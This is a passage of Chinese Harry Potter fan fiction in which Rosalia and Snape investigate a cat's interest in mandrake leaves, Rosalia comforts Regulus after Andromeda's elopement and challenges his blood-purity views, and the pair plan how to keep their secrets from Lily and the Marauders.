“可以。我去跟劳伊讲。”罗萨利亚说:“不过,下个满月你也得跟我一起收集露水。”
斯内普说:“你要去哪收集?”
罗萨利亚顿了顿,说:“禁林。”
终于,斯内普的眼睛从羊皮纸上移到了她身上,微微眯起来:“罗萨,你对受罚这件事很热衷,是吗?”
“我没有……可除了那里,霍格沃茨还有什么地方是暴露于自然中、且确保七天无人踏足也无阳光照射的?”罗萨利亚无奈地道。
如果可以,她也不想去禁林。狼人的事到现在还没动静呢。
“擅用你的天赋,罗萨。”斯内普道:“还需要我提醒你这个学校有谁能变成动物上课吗?”
……麦格教授。
他继续说:“我查过资料,根据记录,米勒娃·麦格是在七年级完成注册登记的。也就是说,她确实在霍格沃茨找到了符合要求的地方——你认为她会违反校规吗?”
斯内普的意思,是让她摄神取念麦格教授来获悉合法收集露水的地方。她沉思道:“风险会不会太大了?”
“和对方聊相关的内容,然后在提到你想知道的事的一瞬间抓住那人的心门,或者引诱对方主动回忆你的目标,”斯内普低声说,“这样,就算那人能察觉到,也会难以分清浮现在脑海中的东西是被自己所掀动、还是被别人提取了。”
“……你怎么这么清楚,你在谁身上试过?”罗萨利亚狐疑地问。
然而下一秒,她就看到斯内普嘴唇一撅:“首先,我或许不该假设你能记住相关的理论,其次,罗萨利亚,你一点儿也没意识到,这是你惯用的手段?”
罗萨利亚一脸茫然地看着他:“我没有吧……而且你这不是察觉了吗?”
“那是因为你没有注意控制它,你擅长引导和捕捉漏隙,天赋也使你能深度链接对方的精神,但你不懂得适可而止、不知道何时该主动撤离,你进别人脑子像回自己的地盘,你——”斯内普忽然抿住了自己的嘴唇,就像是发觉了什么,又仿佛在因什么而困惑。
“……‘我’?”
“……没什么。”斯内普似乎还想说什么,但最终只是道:“我们应该恢复打人柳L&O练习。罗萨,猫来了。在你脚边。”
40. 曼德拉草
“什么?”这话的转折毫无征兆,罗萨利亚没能反应过来,她下意识转头看去,正有一团黑乎乎的衔着报纸的毛团子在盯着她。
她迅速地站起来,往斯内普身边走了好几步:“阿黑怎么在这儿啊?雷古勒斯在附近吗?”
斯内普看了她一眼,道:“它送报纸迟到了,也许是路过这里。”
阿黑抬起屁股朝着罗萨利亚的方向又漫步过来。
“它怎么跟着我走!”罗萨利亚道。
斯内普幽幽地说:“也许它确实喜欢你。”
“……它到底在喜欢我什么?”罗萨利亚的语速变得有点快:“它是怎么在——”她看了一眼四周:湖边、草坪上,周末时间,学生到处都是,“——这么多人里准确地找到我的?我又不是它的主人。”
闻言,斯内普露出了若有所思的神色,他把论文夹进书里放到一边,从口袋掏出一个草药瓶,拔开瓶塞放到稍远的地方。
下一刻,阿黑就转变了方向,朝着草药瓶小步走去,还把报纸丢在地上,拱着鼻子在瓶口嗅闻。
“嗯……怪不得。”斯内普轻声嘟囔。
“那是什么?猫薄荷?”罗萨利亚也发现了不对。
“曼德拉草叶片。它上次打翻了六次。”斯内普说:“这就是它为什么能准确找到你,罗萨,你说话时呼出的气息被它闻到了。”
“……难道说——”罗萨利亚想到了什么,惊讶地说:“和阿尼玛格斯有关系?它不会感应到了什么吧?”
“不排除这种可能。”斯内普垂下眼盯着那猫,似乎在思考:“也许,这是因为它有猫狸子的血统。又或许,它只是喜欢曼德拉草的味道。要么就是兼而有之。”
“……等等,猫狸子?”罗萨利亚忽然怔住了。
她想到了什么,迟疑地重复道:“难道……它是因为——才主动亲近我?这么说……莉莉?”
“什么?”斯内普望向四周,说:“莉莉在魁地奇球场。”
“不是,我是说——”
罗萨利亚仔细地回忆起开学那段时间的记忆,她感觉自己先是回到了赫奇帕奇的餐桌上,又坐在了霍格沃茨特快列车里。她喃喃地说:“雷古勒斯早就提到过,阿黑有猫狸子的血统。它对巫师一向有自己的判断——他其实指的是阿黑能分辨巫师的品德的好坏……你还记得吗?开学那天,在火车上,雷古勒斯跟莉莉本来聊得很好,但是后来,阿黑开始在我们脚下转圈,他就更换了位置。”
斯内普皱起了眉头,他显然没关注过这些细节。
“我那时正含着曼德拉草叶片呢,西弗,而我是靠着你坐的。一直都是。”罗萨利亚感觉事情逐渐明晰起来了,她来回踱步,面上流露出些许不可思议:“难道这才是原因……难道,雷古勒斯是因为阿黑亲近我们却冷落莉莉,所以觉得——她不是好人?而实际上,阿黑只是对阿尼玛格斯敏感,或者是被曼德拉草叶片的气味吸引了。”
斯内普的眼睛眯起来了:“所以在你看来,他会疏远莉莉,完全是因为一只猫?我没想到雷古勒斯在你心里是如此‘纯洁’呢,罗萨利亚。”
“我——我并没有替雷古勒斯说好话的意思。”罗萨利亚感觉斯内普的语气开始变得有些怪异了:“但这很可能是影响他对莉莉态度的主要因素,而不是所谓的……”
她回忆着那天和雷古勒斯在海格小屋发生的对话:即便受到冒犯,他第一时间的选择依然是澄清立场,不愿他人将自己视为诺特之辈……这样的反应,真的会出自一个血统论的拥护者吗?
“而且,你还记得安多米达的信吗?她说如果——”罗萨利亚说着说着,忽然一顿,随后一字一句地说道:“……如果有人试图带坏雷古勒斯,希望我们能拉他一把——我之前是不是和你说过这个?”
斯内普的眼睛闪烁了一瞬:“没有。”
是吗……
罗萨利亚微微蹙眉。
对了,那是在上一次和斯内普讨论雷古勒斯的时候。她当时确实想说来着,只是——被他打断了……
罗萨利亚缓缓看向斯内普。她总觉得有哪儿不对……
算了,他应该也不是有意的。
“好吧,反正,我觉得这话有些奇怪,什么叫‘带坏’?这就像是在暗示什么。”她继续说:“你觉得安多米达在信中提起这个,会是什么意思呢?”
“很难猜,你不能指望她有把话写清楚的水平。”斯内普撇着嘴评价道。
“也有明确的地方,比如,她不希望我寄信到格里莫广场十二号。这是因为——”罗萨利亚一面回忆,一面慢慢说道,“因为她怕信被家族的其他人发现,她在忌讳他们。”
“你是说一个全力维护自己姐妹和家族的人,在害怕她保护的对象?”斯内普讥讽道。他明显指的是上学年安多米达曾提出的那些交易。
“这其实并不冲突。安多米达对她的姐妹、亲属确实怀有眷恋,但同时,她也难以认可布莱克的纯血理念,因为……”她怎么就忽略了这一点呢。罗萨利亚轻声对斯内普说:“她爱上了泰德·唐克斯,西弗勒斯。”
“……什么?”斯内普道。
罗萨利亚解释道:“上学年派对那次,我用摄神取念看到的。安多米达和唐克斯都偷偷恋爱两三年了。但他们永远无法光明正大地在校园里并肩、牵手。因为泰德·唐克斯是麻瓜出身,而布莱克家族追求‘永远纯洁’,他们的关系不会得到祝福——安多米达不可能不恨这种观念。”
“……因为爱?”
忽然,一阵风贴着地面吹过,把阿黑正在舔舐的草药瓶吹倒了。草坪上的预言家日报也被吹得猎猎作响。
“没错。所以,如果雷古勒斯真的歧视麻瓜出身的人、如果他真的是一个纯血主义者……”罗萨利亚觉得豁然开朗:“那么安多米达根本不会给雷古勒斯看她和唐克斯的合照,更不会用它来介绍我们——她会像瞒着她两个姐妹那样瞒着他。”
斯内普没有反驳,而是俯身将报纸连同《毒菌大全》一块拾起来,又朝阿黑走去,重新装好草药瓶放回口袋。不过在把报纸塞给阿黑时,他无意瞥了一眼头版,动作顿住了。
“你可能不信,觉得我太乐观了,但是——”
“我没有不信。”斯内普却道。
罗萨利亚望向他。斯内普手里正拿着那份预言家日报。他站起来,转过身,头发被风吹得有些乱了。
“安多米达和泰德·唐克斯私奔了。”他说:“布莱克家族除名了安多米达。这是今天的头条。”
“嚯吼——”
一声高昂的欢呼从远处飞快地贴近。草坪和湖岸上所有的学生都在抬头看天空。只见两把扫帚在你追我赶,其中一个大喊:“烟花!西里!”
“马上!詹姆!”另一个振臂高呼:“让我们祝安多米达·唐克斯——新婚快乐——”“新婚快乐——”
“砰砰砰……”
白日烟花依然绚烂如火,在山毛榉树上炸成了满冠的红花。
而树下,阿黑被吓得“喵呜”嚎叫一声,纵身一跃抢走了斯内普手里的预言家日报,撒腿朝着霍格沃茨城堡奔去。
整个周末,罗萨利亚都没有在斯莱特林餐桌上看到雷古勒斯。
“……真是搞不懂了,他为什么要闷闷不乐。”
小天狼星头也不抬地说:“安多米达平时对他够好了,还给他买猫。结果他现在跟纳西莎·布莱克一样整天臭着脸
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。”
“所以这就是你们俩被扣分还被关禁闭的原因?”卢平吊着胳膊,艰难地用叉子卷起意面,他从小天狼星滚珠似的抱怨中理出了来龙去脉:“你们两个骑着扫帚,从魁地奇场地开始,放了一路的烟花?”
詹姆瞧着他那副哆哆嗦嗦的模样,“啧”了一声,道:“没你厉害,莱姆斯。你这趟家回得,这么惊险啊?”
卢平面不改色地说:“你说什么呢,我就是踩空从楼梯上摔下来了——早知道我应该留下来倒卖烟花的,还能从你们手里赚一笔加隆。”
小天狼星笑了:“别急,等我以后被家族除名的时候,提前通知你啊,莱姆斯。”
“我说真的,”詹姆则身体前倾,他眼睛里闪着探究的光芒,“莱姆斯,你这三天到底去干什么了?”
卢平垂下睫毛,把意面塞进嘴里,含糊道:“我回家了啊,还能干什么……对了,彼得,上个周天文课,有没有布置什么作业?今天的课呢?”
彼得吃得正香,嘴角还有红渍,说:“上个周,辛尼斯塔教授咬我们滑月香图。今天,只有草摇颗留了炉温。”
“什么?”卢平没听清。
“月相图和草药课论文。”詹姆不耐烦地甩动魔杖,一声咒语过后,彼得的嘴里立刻被塞入了更多食物:“吃你的吧,我来说——草药课论文好说,讨论中国咬人甘蓝各个阶段牙齿的生长状态。麻烦的还是月相图。”
他翻了一个白眼,说:“辛尼斯塔要我们从满月开始画,画三十天、每天都要观察、一天都不能落下——除非乌云把月亮遮住了。然而,她还不许我们上天文塔——你不觉得这学校很多规定都自相矛盾吗?”
小天狼星举起手和詹姆击掌:“不能再同意你了,詹姆。”
詹姆得意地笑了,他又说:“莱姆斯,你这两天的月相图,我和西里已经帮你画好了。”
“……哦,谢谢,太感谢了——要一直画到下个满月吗?”卢平轻轻地说:“真希望下个满月是阴天。”
“真希望每天晚上都是阴天。”小天狼星马上道:“不然让雷古勒斯把脸抬起来也行,没准月亮见了他,立刻被吓得变成气球飞走了。”
几人欢乐地笑起来。
“西里,你怎么了?”
晚饭后,詹姆拎着卢平的书包,扶他往格兰芬多休息室的方向走。彼得也跟在两人身后。然而刚上了一层楼梯,他就注意到小天狼星抄着兜,晃晃悠悠缀在后面,一副心不在焉的样子。
小天狼星闻言,“啊”了一声。他脚步停了下来,头发散漫地晃动。他道:“我想起来点事,詹姆。你们先回去吧,我晚点来。”
“哦,行啊。”詹姆也没多问,只是道:“那你注意着点费尔奇,要是碰上了,记得喊皮皮鬼帮忙。”
他话音一落,墙壁上的画像就发出了声响:“你们歇一天、不夜游又能怎么样呢?我从没见过你们这样的学生——”
詹姆抬手用魔杖变了一条鼻涕虫糊在画像脸上:“关你啥事!吃鼻涕虫去吧!”
小天狼星趁着画像大叫大骂的功夫,转身从楼梯下去,轻巧地跑走了。
“西里斯是要去干什么——嘶。”卢平想要伸手弄走鼻涕虫,但疼得完全活动不了胳膊。彼得见状,替他把鼻涕虫从画像上揭了下来,又蹬蹬地下楼把它扔到外面的灌木丛里去了。
詹姆抠抠耳朵,半拖半推着卢平往楼上走,道:“你瞧西里斯在餐桌上半句不离他那个不争气的弟弟的样子。”他摇头晃脑地说:“走吧,这是他自己的事儿——对了,说起来,你妈妈怎么样了,莱姆斯,她还好吗?下个月你还要回去吗?你这伤真的是不小心弄的吗?哎,你多跟我讲讲你家的事呗……”
41. 天文塔
找到雷古勒斯对小天狼星来说并不是什么难事——问题是,自己为什么要找他?
然而来不及思考出答案,小天狼星的脚就已经迈上螺旋形的楼梯了。
他知道,自己那个傻弟弟若是消失了,十有八九是跑到高处看星星去了。除了上课,天文塔平时是不允许学生去的,雷古勒斯肯定不知道——对,这样自己还能抓他个现形什么的。
就这样想着,小天狼星轻轻拉开了塔楼的铁门……
“……我讨厌她,她欺骗了我们所有人……”
小天狼星的动作顿住了。
是雷古勒斯的声音。
他在……跟谁说话?
“这只是一种策略,雷吉……”
一个女孩?声音好耳熟,但不是纳西莎——他认识的人中,还有谁会喊雷古勒斯的小名?
小天狼星把自己挤进门,钻进一堆杂乱器械的遮蔽中。
他弟弟又开始说话了:
“……我更讨厌唐克斯,多米达堂姐可是布莱克家族的人,他算什么东西,他根本配不上堂姐……”
……什么?
小天狼星感觉一股气血冲上了他的头顶。偏偏,那个女孩还在附和雷古勒斯:
“你会有这种情绪,是很正常的。换作是我,第一反应也是愤怒……”
很正常?正常什么?小天狼星深吸一口气。是谁又再和雷古勒斯谈论这些?你们有完没完了——
他掏出魔杖,往前走了几步——
“但是,雷吉……”
突然间,一声嘶嘶的、毒蛇一般的念咒在小天狼星身侧响起了。
“统统石化。”
小天狼星僵硬地看着那个隐匿在黑暗中的人缓缓走到月光下:黑头发、黑眼睛、黑袍子——詹姆说得对,世上找不出第二个能让他看一眼就那么想挥舞魔杖的人了——西弗勒斯·斯内普。
啊哈。
那么上面那个和雷古勒斯说话的女孩就是……
果然。果然没错。这才对……她惯会在莉莉面前扯谎——罗萨利亚·拉文谢德,这个令人作呕的撒谎精——不知道什么时候,已经和他那个蠢蛋弟弟混到一起去了!
小天狼星愤怒地看着斯内普从地上扯起一块宽大的、脏兮兮的、用来给望远镜避尘遮雨的灰布,朝他走了过来。
哦……鼻涕精。小天狼星试图用可悲的眼神看对方:你怎么像条狗一样,在这儿给那两个人看门呢——
可惜,他一点儿也动不了。而斯内普把他整个人裹了起来。
“但是,雷吉,你也不能这么说唐克斯。怎么说他也是安多米达喜欢的人。”
“而且安多米达已经是成年人了。”罗萨利亚耐心地说:“她有自己做选择的权利,她也有能力承担做选择的后果。”
“……我还是无法接受。”雷古勒斯抱着膝盖,眼睛里有红血丝。他几乎是怨恨地在说:“泰德·唐克斯一无所有。他带着多米达堂姐私奔的时候,身上会有几个加隆?他们以后又会住在哪儿——安多米达到底看上他什么了?他看起来就邋里邋遢的,以后不会还要堂姐给他收拾屋子吧?”
“别想那么坏,而且我觉得安多米达临走之前,肯定带上了自己的储蓄。”罗萨利亚轻轻拍着雷古勒斯的后背,试图安慰他,可后者听完她的话,却仿佛获得了什么灵感一般,语气更怪异了:“是啊,堂姐甚至把加隆也偷偷带上了,唐克斯带了什么?”
罗萨利亚觉得,如果泰德·唐克斯现在出现在雷古勒斯眼前,一定会被他用扫帚“一不小心”打到天文塔塔顶去。
雷古勒斯木然地看着夜空中的星星——他当然认得出那些漂亮的星星的名字,它们早已在家族挂毯上闪烁过无数次。他指着星星,嘴唇掀动,轻声说:“爸爸在联络预言家日报追回当日发售的报纸,德鲁埃拉姨母到现在还晕着,西格纳斯叔叔亲手……烧毁了安多米达在家谱挂毯上的画像。我写了五封信让克利切带给妈妈,妈妈一句话也没有留给我。”
他说着说着,却察觉到那抹拍打自己后背的温度不见了——罗萨利亚收回手,放到了自己的膝盖上。雷古勒斯知道,她正在认真听他说话,可他还是因为这个小小的变化而情不自禁地烦躁起来。于是,讥讽的话脱口而出,他听见自己说:“这些都是因为什么?因为泰德·唐克斯是麻瓜出身!你不能指望他懂什么分寸和教养,他就是个——”
他停下来了,没说出那个词。但罗萨利亚肯定知道他的意思,她会理解他的意思。又一次没有听见即时的回复,但雷古勒斯这一次要更有耐心,他执拗地心想,罗萨利亚一定是站在他这边的,就跟禁林那次一样——他讲了那么多,她都不在乎,她只关心他。
终于,罗萨利亚开口了。
他听到她说:“这是谁教你的,雷吉?”
雷古勒斯心里咯噔一下。他感到一种名为害怕的情绪正从自己胸腔里冒了出来。
“……所有人都这么说。”他试图用生硬的语气掩盖自己的情绪:“所有人都在嘲笑安多米达跟一个麻瓜出身的巫师私奔了。罗萨利亚,你——你明白我在说什么的,对吧?”
他微弱的询问飘进了天文塔的风里,大概过了一个世纪那么长,雷古勒斯才听到罗萨利亚“唔”了一声,说:“有点不明白。”
雷古勒斯快速地把头转回来了,短促地问:“哪里没明白?我、我再讲一遍。”
“我是想不通——高贵的布莱克家族竟也轮得到他人点评?”罗萨利亚问。
他一愣:“当然不——”
“那这么说,原来是布莱克自己人认为安多米达令家族蒙羞了。”
“不——不……”他感觉自己的声音又一次微弱下去了:“和堂姐无关,是……”“这不是很奇怪吗?”
雷古勒斯听见罗萨利亚说:
“按照你之前的说法,安多米达应该是家族的骄傲才对——现在我对此有些怀疑了。”
和自己比起来,对方几乎是漫不经心的:“如果安多米达真的很出色,为何她挑选伴侣后却被里外一致地贬损?如果高贵的血统能使人不可侵犯,那布莱克家族为何还会被指手画脚?如果她真的被视为骄傲,为何会被从家谱图上抹掉?如果她真的以现在的布莱克为荣耀,那么为何要偷偷逃跑?”
雷古勒斯完全呆住了。
他听见罗萨利亚缓缓道:“真奇怪,我还以为,是安多米达·布莱克让人知道何为出色、高贵、骄傲和荣耀,怎么现在,她却要屈从于这些符号?”
月亮越升越高,夜间的风渐渐兴起来了。雷古勒斯的碎发糊了他一脸,罗萨利亚抬手帮他别到耳后,轻声说:“雷吉,我理解你的难过与愤怒,我知道,你只是想要安多米达幸福——你不是一个说那种话的人,从来都不是,不要违背自己的本心——安多米达知道了会伤心的,她也很爱你呢。”
雷古勒斯忽然觉得有什么火辣辣的东西从脸上流了下来,他猛地从地上弹起来,把脑袋对准石柱,仿佛这样就能撤回两串眼泪了。
“明白了?”罗萨利亚问。
雷古勒斯胡乱点点头。
“那我们回去吧?”罗萨利亚哄道。
雷古勒斯又点点头。
“西弗——我们聊完了——”
罗萨利亚从楼梯上往下走,她看到斯内普正远远地靠在门上,手里捏着魔杖。她道:“久等了,没人上来吧?”
“没有。”斯内普说完,瞥了眼雷古勒斯,道:“你把他骂哭了?”
雷古勒斯的脸通红:“她没有骂我——不是——我没有哭!”
罗萨利亚随口道:“天文塔风大,走了——嗯?”
“这个器械……刚才就在这儿吗?”
一片灰白色中,小天狼星听到罗萨利亚清晰地问。她的脚步还在靠近。
然而,紧接着,斯内普的声音传来:
“我没注意。走吧,时间不早了。”
脚步声就这么停了。
“哦……好。”她说。
随后,“咔哒”一声。天文塔的铁门被关上了。
小天狼星立在原地两个世纪,忽然动了一下手指——然后激烈挣扎着把灰布扯了下来。他还以为自己要在天文塔站整整一个晚上!鼻涕精什么时候解除的咒语?
他不知道,他一点儿也没发觉。
小天狼星大口喘着气。
他恨死鼻涕精了——
被灰布缠绕的时候,他正听到拉文谢德在替安多米达说好话——算她识相——包括后面自己那蠢弟弟讥讽的大叫
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,他也听见了。
可就在他和雷古勒斯一起等拉文谢德的回应时——斯内普这个可恶的鼻涕精,突然就把他拖到了角落!再加上被这层布裹着,他完全听不见两个人讲话了。
拉文谢德后面到底说了什么?她那句“谁教你的”,是不是有要反驳雷古勒斯的意思?她到底是怎么想的?她到底是站在哪边的?她的哪句话是真的、哪句又是假的——
小天狼星觉得自己矛盾得快要炸开了。他在天文塔大喊一声:
“我真的搞不懂了——”
“我能确定了,西里!”
“……什么?”
小天狼星从发呆中醒了过来,眼前的教室都变得有些陌生。一声声变形咒语飘入他耳中。
詹姆偷瞄着麦格教授被弗立维教授叫走远去的身影,迅速丢开魔杖,把桌上的甲虫弹到一边,跟小天狼星聊了起来:“鼻涕精和撒谎精这几周又开始去打人柳了,而且明显比之前更加小心,我就说我的预感没错,他俩肯定背着伊万斯有鬼。”
“……你竟然还在——你什么时候又开始观察他们了?”小天狼星小声抱怨道:“詹姆,你居然不叫上我?”
“我不是不叫你,我是魁地奇训练的时候——飞的时候用望远镜看到的。看到好几次了。”詹姆解释完抱怨了一句:“谁让你不跟我一起加入魁地奇的——你飞得又不赖。”
小天狼星咕哝道:“什么时候魁地奇取消了那七百多条规则我就报名。”
“那毕竟是比赛啊,怎么可能把规则都取消掉。”
“那算了。我还是喜欢自由自在飞翔的感觉。”
“你再考虑考虑呗,你不想和我一起化身格兰芬多魁地奇双侠吗?”
忽然,两人感觉自己的坐椅被轻踢了一脚。紧接着一道长长的影子就从底下冒出来投到他们面前的桌子上,说道:
“在化身格兰芬多魁地奇双侠之前,两位先生,你们为何不先把自己桌上的甲虫变成一对漂亮的纽扣呢?”
詹姆和小天狼星齐齐回头。麦格教授不知道什么时候回来了,她正严肃地用那双小圆眼睛盯着他们。两人对视一眼,心知肚明麦格教授又偷偷变猫巡视学生了。
麦格教授又扭过头:“还有你,莱姆斯先生,我认为把腿伸长,对你胳膊的恢复应该毫无助力?”
卢平低着头说:“您说得对,教授。”
“另外,佩迪鲁先生。”麦格教授皱着眉头说:“你挥舞魔杖的动作完全是错的,念再多的咒语,也不会有纽扣出现在桌子上。”
邻座的彼得把头低得更低了。
眼看麦格教授又把目光转了回来,嘴巴马上要张开了,詹姆赶紧说:“我们会变纽扣,麦格教授,这个一点难度也没有。”
说完,他挥动魔杖把自己桌上的甲虫变成了一枚货真价实的纽扣。小天狼星也轻巧地完成了这一变形,还学詹姆也在纽扣上画了一头格兰芬多狮子。他俩前面的学生回过头来,发出了“哇”的轻叹。詹姆得意地咧嘴笑了。
“波特先生、布莱克先生,我想这没什么值得炫耀的。”然而,麦格教授扬起眉毛:“我从后排来的时候,已经至少看到三个学生完成这一变形了。他们都开始写我布置的论文了,先生们。”
三个学生。詹姆和小天狼星不用回头都知道是哪三个。待麦格教授往台前走后,詹姆小小地嘁了一声,盯着麦格的背影对小天狼星嘟囔道:“等我学会麦格这招,我也要用它来吓唬人。”
“铃铃铃……”
“下课。”麦格教授说。
小天狼星站起来伸了个懒腰,刚一转身,正好和另一道身影擦肩而过。他隐约闻到股玫瑰花园里才有的香气。
“麦格教授。”那个身影说道:“我有一个关于变形术的知识想请教您。”
是撒谎精。小天狼星顿时觉得胸口那股翻腾的劲儿又上来了。但他假装若无其事,勾着詹姆的肩膀从往前门走。
“……您是说,您刚才变成猫的那种变形术,不是一般变形术,而是叫阿尼玛格斯是吗?我觉得真的很有意思……”
“……原来这么复杂……您当时是怎么练成的……”
他还想再听一会儿,就像之前在天文塔上那样,但是詹姆已经半扛着他走出教室了。
42. 藏书
“你没听错。”
图书馆内,罗萨利亚虚靠在书架上,拿着《今日变形术》挡住自己的嘴巴,用一种慢慢的、意味深长的语气对斯内普说:“麦格教授当年也是偷偷去的禁林——”
安抚完雷古勒斯之后,罗萨利亚又马不停蹄地投入到和斯内普的L&O训练中。终于,三周之后,她对麦格教授下手了——一切顺利。
斯内普听完,把手里那本灰扑扑的、花纹复杂的藏书抬高了一些。
“别太惊讶,麦格教授以前可是格兰芬多的学生。”罗萨利亚歪了歪脑袋,踮起脚试图看清他的神色:“不过她在练成阿尼马格斯后就去登记了,这一点还是很遵纪守法的。”
“……行了。”斯内普不太高兴地说:“我答应你。”
“耶!”罗萨利亚得意洋洋地笑了。一想到要跟斯内普夜游,她就有种说不上来的兴奋。手上的《今日变形术》都被她多翻了两页——但其实她半个字都没读进去。
就在这时,一声轻轻的呼唤从他们身后的书架传来。
“罗萨、西弗?是你们吗?”
一听到这个声音,斯内普立刻合上了手里的书。罗萨利亚回头,从书脊与书架之间的缝隙中看到一双绿色的眼睛。
“我来找你们了。”莉莉说。
罗萨利亚有点惊讶,她一面把《今日变形术》压到斯内普放下的书上,一面道:“莉莉?这个时间,你不是一向会和玛丽去看魁地奇训练吗?”她已经很久没有在餐桌和课堂以外的地方看到莉莉了。
“是这样,但是……”莉莉从书架对面绕了过来,小声说:“我好久没和你们一起行动了,我是说同时和你们两个一起。我今天和朋友聊起天来,才发现自己都不知道你们最近在做什么。对不起。我是不是冷落你们了?”
“没有啊,我们都知道你有你的生活。”罗萨利亚笑着说:“而且我和西弗平时也不做什么,就是泡图书馆。”
“你们还在练黑魔法防御吗?”莉莉问。
“最近没有。”罗萨利亚道:“我现在一看到黑魔法防御就想到布瑞兹。”
莉莉“哦”了一声,抱怨道:“布瑞兹教授老是针对你扣分,这真不公平。”她又接着问:“那你们一般在图书馆都干什么?”
“写作业、看书、闲聊。”罗萨利亚微微一笑,问:“怎么了,莉莉?你怎么突然问这些?”
“没什么啊。”莉莉快速地眨眨眼,目光移到桌子上:“《今日变形术》?这是罗萨你的吗?还有一本是什么?”她说着,伸出手就要去拿,然而,另一只手更快地挡在书前。
是斯内普。
“另一本是雷古勒斯的书。”他说:“我答应过他,不能给其他人看,莉莉。”
“那好吧。”莉莉讪讪地收回手:“罗萨利亚也没看过,是吗?”
罗萨利亚道:“我当然没看过,莉莉。”
“好吧。好吧。”莉莉点点头道:“你没看过,但你会把变形术书放在上面遮掩是吗?”说着,她脸上的尴尬褪去了,胸膛微微起伏:“瞧你们俩的样子,刚才还有说有笑的,我一来就那么紧张——也许我该回去了,你们继续聊吧。”
说完,她深红色的头发拂扫而去,迈着“哒哒”的脚步离开了他们所在的书架。
图书馆内突然变得落针可闻。
“……有人跟她说了什么。”罗萨利亚望着莉莉的背影道。
“显然。”斯内普说。
罗萨利亚呼了口气,第一次有了疲乏的感觉——这段时间她实在有点忙:
琢磨变形术、注意舌头下的曼德拉草叶片、应对布瑞兹时不时的挑刺并想办法把学院分加回来;那边才把安多米达和雷古勒斯的事情理清并安定下来,就接着投入了L&O练习;现在偷到了麦格教授的记忆,还要计划几天后的禁林采露路线。这边刚逆着毛惹了一下斯内普,还没笑几秒,莉莉就带着一连串问题蹦出来了。
所以,她一时间沉默了,什么也没说。而斯内普也没开口。
又享受了几息的安静,罗萨利亚才重新转动脑子,道:“我觉得我们得换个地方。”
“什么?”斯内普侧头看她。
罗萨利亚环顾四周,确认附近没人后,低声分析道:“莉莉提了黑魔法防御,而前几天我们正好在打人柳附近练习过L&O。刚开始我还以为她指的是课程内容,担心她误会我们又没叫她。现在看来,是我们引起其他人的注意了。”
莉莉今天说的话,还有她的反应……难道詹姆和小天狼星那俩人发现他们的动作了吗?他们这学期不是一直沉迷魁地奇和飞天扫帚吗?为什么又关注起她和斯内普了?
“总之,打人柳已经不再是合适的练习地点了。”罗萨利亚下了定论。
然而,斯内普望着她,问:“你就不问问书的事?”
什么书?罗萨利亚困惑地回望他——哦,那个。她莫名其妙地道:“你不是不想让其他人知道吗?”
“……那你也不问雷古勒斯为什么借给我?”斯内普道。
罗萨利亚终于反应过来了。她还以为斯内普沉默的那几秒,是在和她一起思考莉莉的事。原来他是在等她问这些问题,所以才没说话。
她回想着之前的对话,说:“噢——所以雷古勒斯不是你找的借口啊?我还以为你手里的是拉文谢德的藏书——是的,我没有读完拉文谢德所有藏书的能力,所以不能分辨它们。”罗萨利亚在斯内普张口的一瞬间把他的话堵了回去。
斯内普神色不明地盯着她。
“好吧。”她模仿莉莉的口气,问道:“快说,你们之间的借书是怎么回事?”
斯内普闻言,往前走了两步。罗萨利亚跟着他的脚步后退到书架角落。她听见斯内普用耳语说:“罗萨,我想弄明白你的遗传病病因是什么。”
她一愣。
斯内普接着道:“妈妈的书和笔记只讲了稳定剂是如何介入发病机制。药剂制作固然需要长久的耐心和细微的操控,但最复杂、最难以理解的一步,其实是那个在过程中需要反复施加的血缘咒语。”
“什么样的病症需要用额外的咒语抑制?”他说:“魔咒对抗魔咒,罗萨。涉及灵魂的魔咒是最古老的,如果还能左右生死,那就只能是……”
“黑魔法。”罗萨利亚注视着斯内普。
“是的。”听到这个词从她口中冒出来,仿佛能让斯内普感到愉快一样。他的嘴角轻轻扬起,却又不像在微笑:“你总是这样,之前也是。你不问我是怎么让雷古勒斯不去找你的。现在即使我就在你眼前看黑魔法的书,你也毫不关心。你的好奇心被你用到哪去了?总之,这就是我给雷古勒斯找的活儿——他急于证明自己有用,”斯内普轻轻哼了一声,“正和家养小精灵一起忙着筛选布莱克家族的书籍交给我,想要帮上你忙。我猜他的家人也会很乐意看到他对这些感兴趣。还有拉文谢德的藏书,我也正在慢慢看。可惜禁书区被重新调整了,不知道还能不能找到相关的书。这就是我最近在做的事。”
斯内普漫长的轻声细语,让罗萨利亚想起坩埚停止沸腾后袅袅升腾的白雾。那是一种奇妙又令人安定的感觉。她知道对方现在在等她说话。但是,罗萨利亚望着斯内普那双黑色的瞳仁,注意到他眼下有乌青,她开口说:“你睫毛好长。”
斯内普蓦地把嘴抿成一条直线,眨着眼踉跄往后退了几步。
“我听清你说什么了,但我还是那句话,”罗萨利亚慢吞吞地走动着,夕阳正透进来,照在地板上,她说,“多睡觉,别让自己太累了,
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西弗勒斯。哪怕是面对你感兴趣的内容。我知道你是有分寸的,但是,你得小心……小心别被人发现。莉莉那边的话……既然你提到了雷古勒斯,那我觉得正好可以处理一下阿黑与曼德拉草叶片的事——你应该还没把这事告诉他和莉莉吧?”
“……没有。”
“那正好。”她踩住斯内普的影子,徐徐盘算着:“我们就说,阿黑对曼德拉草叶片感兴趣就行了。这足以掩盖阿尼马格斯的事。”
“曼德拉草本来就是许多解药的组成部分,假期时我们也确实研究过解毒剂,把它们携带在身上没什么可疑的。雷古勒斯那边,你可以直接用草药瓶暗示他这点,他会明白的。至于莉莉,你单独去找她解释最好,不过可以隔一个周末再说。到时候,你就说自己一直在试图弄懂雷古勒斯‘讨厌’她的问题,又怕她误会后伤心——这样,还能让莉莉理解你这段时间回斯莱特林餐桌的行为,怎么样?”
“……可以。”斯内普一顿,又说道:“如果你能把这份心思用在配置魔药上,我会轻松很多,罗萨利亚。”
罗萨利亚:“……哦。”
窗外,橙黄的天际已然泛出几枚星星,初升的月亮挂在夕阳的另一侧。月相图的图纸越积越厚,月光在望朔之间亘古地眨眼。辛尼斯塔教授在天文学课上友好地提醒众人——
本周日,也就是后天,将迎来第二次满月。次日周一,他们就该上交月相图了。
“你今天下午又要回去看你妈妈?”
魁地奇场地,游走球正在到处乱飞。詹姆正身穿球服——但是没戴头盔——骑在扫帚上,一边活动手腕一边问看台上的卢平道:“那你为什么不周五走呢?你今天走,周一能回来吗?”
“我是打算把课翘掉……”卢平后面又说了句什么,但是球场半空中忽然传来一声惨叫。有个人大喊道:“伯莎!你真的不能再吃了!你现在根本躲不开游走球!”
“什么?”詹姆没听清,他大声说:“你说要拜托我什么事?”
